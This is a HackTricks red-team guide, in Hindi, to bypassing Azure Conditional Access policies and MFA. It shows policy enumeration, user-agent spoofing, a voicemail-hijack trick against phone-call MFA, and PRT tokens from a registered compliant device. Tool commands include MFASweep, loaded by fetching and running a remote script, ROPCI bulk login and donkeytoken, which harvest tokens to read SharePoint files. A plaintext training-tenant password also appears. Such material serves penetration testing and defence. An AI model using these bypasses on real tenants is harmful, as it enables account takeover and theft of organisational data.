Az - Conditional Access Policies & MFA Bypass

Reading time: 11 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

Azure Conditional Access नीतियाँ Microsoft Azure में स्थापित नियम हैं जो कुछ शर्तों के आधार पर Azure सेवाओं और अनुप्रयोगों तक पहुँच नियंत्रण लागू करने के लिए हैं। ये नीतियाँ संगठनों को सही परिस्थितियों में सही पहुँच नियंत्रण लागू करके अपने संसाधनों को सुरक्षित रखने में मदद करती हैं।
Conditional access नीतियाँ मूल रूप से यह निर्धारित करती हैं कौन क्या कहाँ और कैसे पहुँच सकता है।

यहाँ कुछ उदाहरण दिए गए हैं:

  1. साइन-इन जोखिम नीति: यह नीति तब लागू की जा सकती है जब साइन-इन जोखिम का पता लगाया जाए, जिसमें बहु-कारक प्रमाणीकरण (MFA) की आवश्यकता हो। उदाहरण के लिए, यदि किसी उपयोगकर्ता का लॉगिन व्यवहार उनके नियमित पैटर्न की तुलना में असामान्य है, जैसे कि किसी अन्य देश से लॉगिन करना, तो सिस्टम अतिरिक्त प्रमाणीकरण के लिए संकेत दे सकता है।
  2. डिवाइस अनुपालन नीति: यह नीति केवल उन उपकरणों के लिए Azure सेवाओं तक पहुँच को प्रतिबंधित कर सकती है जो संगठन के सुरक्षा मानकों के अनुपालन में हैं। उदाहरण के लिए, केवल उन उपकरणों से पहुँच की अनुमति दी जा सकती है जिनमें अद्यतन एंटीवायरस सॉफ़्टवेयर है या जो एक निश्चित ऑपरेटिंग सिस्टम संस्करण चला रहे हैं।

Enumeration

bash
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

Conditional Acces Policies Bypasses

यह संभव है कि एक conditional access policy कुछ जानकारी की जांच कर रही हो जिसे आसानी से छेड़ा जा सकता है जिससे नीति का बायपास किया जा सके। और यदि उदाहरण के लिए नीति MFA को कॉन्फ़िगर कर रही थी, तो हमलावर इसे बायपास करने में सक्षम होगा।

एक conditional access policy को कॉन्फ़िगर करते समय प्रभावित उपयोगकर्ताओं और लक्षित संसाधनों (जैसे सभी क्लाउड ऐप) को इंगित करना आवश्यक है।

यह भी आवश्यक है कि शर्तें कॉन्फ़िगर की जाएं जो नीति को प्रेरित करें:

  • नेटवर्क: आईपी, आईपी रेंज और भौगोलिक स्थान
  • एक देश से कनेक्ट करने के लिए VPN या Proxy का उपयोग करके या एक अनुमत आईपी पते से लॉगिन करने में सक्षम होना
  • Microsoft जोखिम: उपयोगकर्ता जोखिम, साइन-इन जोखिम, अंदरूनी जोखिम
  • डिवाइस प्लेटफार्म: कोई भी डिवाइस या Android, iOS, Windows phone, Windows, macOS, Linux का चयन करें
  • यदि "कोई भी डिवाइस" चयनित नहीं है लेकिन सभी अन्य विकल्प चयनित हैं, तो इसे उन प्लेटफार्मों से संबंधित न होने वाले यादृच्छिक उपयोगकर्ता-एजेंट का उपयोग करके बायपास किया जा सकता है
  • क्लाइंट ऐप: विकल्प हैं "ब्राउज़र", "मोबाइल ऐप और डेस्कटॉप क्लाइंट", "Exchange ActiveSync क्लाइंट" और "अन्य क्लाइंट"
  • एक न चुने गए विकल्प के साथ लॉगिन को बायपास करने के लिए
  • डिवाइस के लिए फ़िल्टर: उपयोग किए गए डिवाइस से संबंधित एक नियम उत्पन्न करना संभव है
  • प्रमाणन प्रवाह: विकल्प हैं "डिवाइस कोड प्रवाह" और "प्रमाणन स्थानांतरण"
  • यह एक हमलावर को प्रभावित नहीं करेगा जब तक कि वह पीड़ित के खाते तक पहुँचने के लिए फ़िशिंग प्रयास में इनमें से किसी भी प्रोटोकॉल का दुरुपयोग करने की कोशिश न कर रहा हो

संभावित परिणाम हैं: ब्लॉक या एक्सेस प्रदान करें जिसमें संभावित शर्तें जैसे MFA की आवश्यकता, डिवाइस का अनुपालन होना शामिल हैं…

Device Platforms - Device Condition

यह डिवाइस प्लेटफार्म (Android, iOS, Windows, macOS...) के आधार पर एक शर्त सेट करना संभव है, हालाँकि, यह उपयोगकर्ता-एजेंट पर आधारित है इसलिए इसे बायपास करना आसान है। यहां तक कि सभी विकल्पों को MFA लागू करने के लिए, यदि आप एक उपयोगकर्ता-एजेंट का उपयोग करते हैं जिसे पहचाना नहीं गया है, तो आप MFA या ब्लॉक को बायपास करने में सक्षम होंगे:

बस ब्राउज़र को एक अज्ञात उपयोगकर्ता-एजेंट भेजने (जैसे Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) के लिए पर्याप्त है कि यह शर्त सक्रिय न हो।
आप डेवलपर टूल में उपयोगकर्ता एजेंट को हाथ से बदल सकते हैं:

या इस तरह के ब्राउज़र एक्सटेंशन का उपयोग करें।

Locations: Countries, IP ranges - Device Condition

यदि यह conditional policy में सेट किया गया है, तो एक हमलावर बस अनुमत देश में एक VPN का उपयोग कर सकता है या इन शर्तों को बायपास करने के लिए अनुमत आईपी पते से पहुंचने का एक तरीका खोज सकता है।

Cloud Apps

यह संभव है कि विशिष्ट ऐप तक पहुँचने का प्रयास करते समय conditional access policies को ब्लॉक या मजबूर करने के लिए MFA को कॉन्फ़िगर किया जाए:

इस सुरक्षा को बायपास करने का प्रयास करने के लिए आपको देखना चाहिए कि क्या आप किसी भी एप्लिकेशन में केवल लॉगिन कर सकते हैं
उपकरण AzureAppsSweep में कई एप्लिकेशन आईडी हार्डकोडेड हैं और यह उनमें लॉगिन करने का प्रयास करेगा और आपको सूचित करेगा और यदि सफल होता है तो आपको टोकन भी देगा।

विशिष्ट संसाधनों में विशिष्ट एप्लिकेशन आईडी का परीक्षण करने के लिए आप एक उपकरण का उपयोग कर सकते हैं जैसे:

bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

इसके अलावा, लॉगिन विधि की सुरक्षा करना भी संभव है (जैसे, यदि आप ब्राउज़र से या डेस्कटॉप एप्लिकेशन से लॉगिन करने की कोशिश कर रहे हैं)। उपकरण Invoke-MFASweep कुछ जांचें करता है ताकि इन सुरक्षा उपायों को बायपास करने की कोशिश की जा सके।

उपकरण donkeytoken को भी समान उद्देश्यों के लिए उपयोग किया जा सकता है हालांकि यह अप्रबंधित लगता है।

उपकरण ROPCI का उपयोग भी इन सुरक्षा उपायों का परीक्षण करने और यह देखने के लिए किया जा सकता है कि क्या MFAs या ब्लॉकों को बायपास करना संभव है, लेकिन यह उपकरण whitebox दृष्टिकोण से काम करता है। आपको पहले टेनेट में अनुमत ऐप्स की सूची डाउनलोड करनी होगी और फिर यह उनमें लॉगिन करने की कोशिश करेगा।

अन्य Az MFA बायपास

रिंग टोन

एक Azure MFA विकल्प है कॉन्फ़िगर किए गए फोन नंबर पर कॉल प्राप्त करना जहां उपयोगकर्ता से चर # भेजने के लिए कहा जाएगा।

caution

चरों के रूप में केवल स्वर होते हैं, एक हमलावर फोन नंबर के वॉइसमेल संदेश को समझौता कर सकता है, संदेश के रूप में # का स्वर कॉन्फ़िगर कर सकता है और फिर, जब MFA का अनुरोध किया जाता है, तो सुनिश्चित करें कि शिकार का फोन व्यस्त है (इसे कॉल करके) ताकि Azure कॉल वॉइसमेल पर रीडायरेक्ट हो जाए।

अनुपालन उपकरण

नीतियाँ अक्सर एक अनुपालन उपकरण या MFA की मांग करती हैं, इसलिए एक हमलावर एक अनुपालन उपकरण पंजीकृत कर सकता है, एक PRT टोकन प्राप्त कर सकता है और इस तरह MFA को बायपास कर सकता है

एक अनुपालन उपकरण को Intune में पंजीकृत करने से शुरू करें, फिर PRT प्राप्त करें:

bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

इस प्रकार के हमले के बारे में अधिक जानकारी निम्नलिखित पृष्ठ पर प्राप्त करें:

Az - Pass the PRT

उपकरण

AzureAppsSweep

यह स्क्रिप्ट कुछ उपयोगकर्ता क्रेडेंशियल प्राप्त करती है और जांचती है कि क्या यह कुछ अनुप्रयोगों में लॉगिन कर सकती है।

यह उपयोगी है यह देखने के लिए कि क्या आपको कुछ अनुप्रयोगों में लॉगिन करने के लिए MFA की आवश्यकता नहीं है जिसे आप बाद में privileges बढ़ाने के लिए दुरुपयोग कर सकते हैं।

roadrecon

सभी नीतियों को प्राप्त करें

bash
roadrecon plugin policies

Invoke-MFASweep

MFASweep एक PowerShell स्क्रिप्ट है जो प्रदान किए गए क्रेडेंशियल्स का उपयोग करके विभिन्न Microsoft सेवाओं में लॉग इन करने का प्रयास करती है और यह पहचानने का प्रयास करती है कि क्या MFA सक्षम है। यह इस पर निर्भर करता है कि कैसे कंडीशनल एक्सेस नीतियाँ और अन्य मल्टी-फैक्टर ऑथेंटिकेशन सेटिंग्स कॉन्फ़िगर की गई हैं, कुछ प्रोटोकॉल अंततः सिंगल फैक्टर रह सकते हैं। इसमें ADFS कॉन्फ़िगरेशन के लिए एक अतिरिक्त जांच भी है और यदि पता लगाया गया तो यह ऑन-प्रिम ADFS सर्वर में लॉग इन करने का प्रयास कर सकता है।

bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

यह उपकरण MFA बायपास की पहचान करने और फिर कई उत्पादन AAD टेनेन्ट्स में APIs का दुरुपयोग करने में मदद करता है, जहाँ AAD ग्राहक मानते थे कि उनके पास MFA लागू है, लेकिन ROPC आधारित प्रमाणीकरण सफल रहा।

tip

आपको सभी अनुप्रयोगों की सूची बनाने के लिए अनुमतियाँ होनी चाहिए ताकि आप ब्रूट-फोर्स करने के लिए अनुप्रयोगों की सूची उत्पन्न कर सकें।

bash
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token एक सेट फ़ंक्शंस का है जिसका उद्देश्य सुरक्षा सलाहकारों की मदद करना है जिन्हें Conditional Access Policies को मान्य करने, 2FA-सक्षम Microsoft पोर्टल्स के लिए परीक्षण करने आदि की आवश्यकता होती है।

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

प्रत्येक पोर्टल का परीक्षण करें कि क्या MFA के बिना लॉगिन करना संभव है:

bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

क्योंकि Azure पोर्टल सीमित नहीं है, इसलिए पोर्टल एंडपॉइंट से किसी भी सेवा तक पहुँचने के लिए एक टोकन इकट्ठा करना संभव है जो पिछले निष्पादन द्वारा पता लगाया गया था। इस मामले में Sharepoint की पहचान की गई, और इसे एक्सेस करने के लिए एक टोकन का अनुरोध किया गया:

bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

मान लीजिए कि टोकन के पास Sites.Read.All (Sharepoint से) की अनुमति है, भले ही आप MFA के कारण वेब से Sharepoint तक पहुँच नहीं पा रहे हैं, फिर भी आप उत्पन्न टोकन के साथ फ़ाइलों तक पहुँचने के लिए टोकन का उपयोग कर सकते हैं:

bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें